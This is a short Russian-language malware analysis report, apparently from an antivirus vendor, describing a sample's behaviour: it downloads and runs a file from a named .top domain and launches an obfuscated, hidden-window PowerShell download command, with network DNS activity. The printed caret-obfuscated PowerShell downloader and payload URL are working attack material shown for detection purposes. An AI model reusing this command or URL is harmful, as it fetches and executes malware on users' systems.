Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POw^eR^S^HEL^L.ex^e^ -exe^c^u^T^IoN^P^Ol^Ic^y ByPA^SS -no^pR^of^il^E ^-W^i^NDOwStY^lE ^hI^ddE^n^ (N^e^w-^Obj^eCT ^SysTE^M.^NE^t^.^w^e^BcLiE^NT).DoW^NLoAD^fI^lE('http://www.fapoer...
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POw^eR^S^HEL^L.ex^e^ -exe^c^u^T^IoN^P^Ol^Ic^y ByPA^SS -no^pR^of^il^E ^-W^i^NDOwStY^lE ^hI^ddE^n^ (N^e^w-^Obj^eCT ^SysTE^M.^NE^t^.^w^e^BcLiE^NT).DoW^NLoAD^fI^lE('http://www.fapoer...' (со скрытым окном)
